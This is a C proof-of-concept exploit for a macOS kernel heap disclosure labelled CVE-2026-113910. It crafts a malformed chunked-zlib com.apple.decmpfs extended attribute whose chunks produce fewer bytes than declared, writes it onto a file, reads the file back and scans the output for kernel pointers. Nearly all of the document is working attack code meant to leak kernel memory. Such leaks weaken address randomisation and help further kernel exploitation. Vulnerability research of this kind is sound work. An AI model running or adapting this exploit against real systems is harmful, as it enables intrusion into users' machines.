// kern.decmpfs · AppleFSCompressionTypeZlib chunked xattr · CVE-2026-113910 // Kernel heap disclosure through short-producing chunks // C twin of the Swift POC: builds a type-4 chunked zlib com.apple.decmpfs xattr whose // chunks produce fewer bytes than the chunk table promises, writes it onto a file, // reads the file back and scans for kernel-space pointers (>= 0xFFFFFFE000000000). // Build: clang -O2 -o cve-2026-113910 CVE-2026-113910.c // Run: ./cve-2026-113910 #include #include #include #include #include #include #include // ── byte buffer ── typedef struct { uint8_t *d; size_t n, cap; } buf; static void bneed(buf *b, size_t extra) { if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } } static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; } static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); } static void le32(buf *b, uint32_t v) { bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff); } static void le64(buf *b, uint64_t v) { for (int i = 0; i < 8; i++) bput(b, (uint8_t)((v >> (8 * i)) & 0xff)); } static void be32(buf *b, uint32_t v) { bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff); } // ── seed construction (from Cinder27 Sources: Decmpfs.chunkedXattr) ── // 'cmpf' magic, type 4 (chunked zlib), uncompressed size, offset table, then chunks // whose zlib streams produce only `produce` bytes each static uint32_t adler32(const uint8_t *p, size_t n) { uint32_t a = 1, b = 0; for (size_t i = 0; i < n; i++) { a = (a + p[i]) % 65521; b = (b + a) % 65521; } return (b << 16) | a; } static buf decmpfs_chunked(size_t uncompressed, int chunk_count, size_t produce) { buf out = {0}; le32(&out, 0x636D7066); // 'cmpf' le32(&out, 4); // typeZlibChunked le64(&out, (uint64_t)uncompressed); // per-chunk: flag byte 0x00 + zlib stream of `produce` bytes of 0x41 buf payload = {0}; brep(&payload, 0x41, produce); buf z = {0}; bput(&z, 0x78); bput(&z, 0x01); // zlib header size_t off = 0; if (payload.n == 0) bcat(&z, "\x01\x00\x00\xFF\xFF", 5); while (off < payload.n) { size_t take = payload.n - off < 65535 ? payload.n - off : 65535; bput(&z, off + take >= payload.n ? 0x01 : 0x00); // final flag le16(&z, (uint16_t)take); le16(&z, (uint16_t)~take); bcat(&z, payload.d + off, take); off += take; } be32(&z, adler32(payload.d, payload.n)); uint32_t offsets[9]; uint32_t running = 0; for (int i = 0; i < chunk_count; i++) { offsets[i] = running; running += (uint32_t)(1 + z.n); // flag byte + zlib stream } offsets[chunk_count] = running; for (int i = 0; i <= chunk_count; i++) le32(&out, offsets[i]); for (int i = 0; i < chunk_count; i++) { bput(&out, 0x00); bcat(&out, z.d, z.n); } bfree(&payload); bfree(&z); return out; } // ── trigger: xattr round trip + kernel-pointer scan ── typedef struct { int wrote_xattr; long read_back; long hits; char samples[8][32]; int nsamples; char note[128]; } decmpfs_result; static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce) { decmpfs_result r = {0}; // seed file: plain 0x41 content (the uncompressed claim) unlink(path); int fd = open(path, O_WRONLY | O_CREAT, 0644); if (fd >= 0) { uint8_t zeros[4096]; memset(zeros, 0x41, sizeof zeros); size_t left = uncompressed < 64 ? 64 : uncompressed; while (left > 0) { size_t take = left < sizeof zeros ? left : sizeof zeros; if (write(fd, zeros, take) != (ssize_t)take) break; left -= take; } close(fd); } buf payload = decmpfs_chunked(uncompressed, chunks, produce); if (setxattr(path, "com.apple.decmpfs", payload.d, payload.n, 0, 0) != 0) { snprintf(r.note, sizeof r.note, "setxattr failed errno=%d", errno); bfree(&payload); return r; } r.wrote_xattr = 1; // read the file back: the kernel decompresses through AppleFSCompression FILE *f = fopen(path, "rb"); if (!f) { snprintf(r.note, sizeof r.note, "read failed errno=%d", errno); bfree(&payload); return r; } buf back = {0}; uint8_t chunk[65536]; size_t got; while ((got = fread(chunk, 1, sizeof chunk, f)) > 0) bcat(&back, chunk, got); fclose(f); r.read_back = (long)back.n; // scan for kernel-space pointers in whatever the kernel handed back if (back.n >= 8) { for (size_t i = 0; i + 8 <= back.n; i += 8) { uint64_t v = 0; for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k); if (v >= 0xFFFFFFE000000000ULL) { r.hits++; if (r.nsamples < 8) { snprintf(r.samples[r.nsamples], sizeof r.samples[0], "0x%016llx @ +0x%zx", (unsigned long long)v, i); r.nsamples++; } } } } snprintf(r.note, sizeof r.note, "read %ld B", r.read_back); bfree(&back); bfree(&payload); return r; } int main(void) { const char *path = "decmpfs_probe.bin"; struct { int chunks; size_t produce; } configs[4] = { {4, 65536}, {4, 4096}, {8, 1024}, {2, 1}, }; long total_hits = 0; printf("— baseline: what a plain file reads back —\n"); { unlink(path); int fd = open(path, O_WRONLY | O_CREAT, 0644); if (fd >= 0) { uint8_t a64[64]; memset(a64, 0x41, sizeof a64); for (int i = 0; i < 64; i++) if (write(fd, a64, sizeof a64) != 64) break; close(fd); } FILE *f = fopen(path, "rb"); if (f) { fseek(f, 0, SEEK_END); printf("plain size: %ld\n", ftell(f)); fclose(f); } } printf("\n— chunked xattr round trip —\n"); for (int i = 0; i < 4; i++) { size_t uncompressed = (size_t)configs[i].chunks * 65536; decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce); total_hits += r.hits; printf("chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n", configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note); if (r.nsamples > 0) { printf(" candidates:"); for (int k = 0; k < r.nsamples; k++) printf(" %s", r.samples[k]); printf("\n"); } } unlink(path); printf("\nCVE-2026-113910 · %s\n", total_hits > 0 ? "kernel pointer candidates found" : "no kernel pointers surfaced (read was served plain)"); return 0; }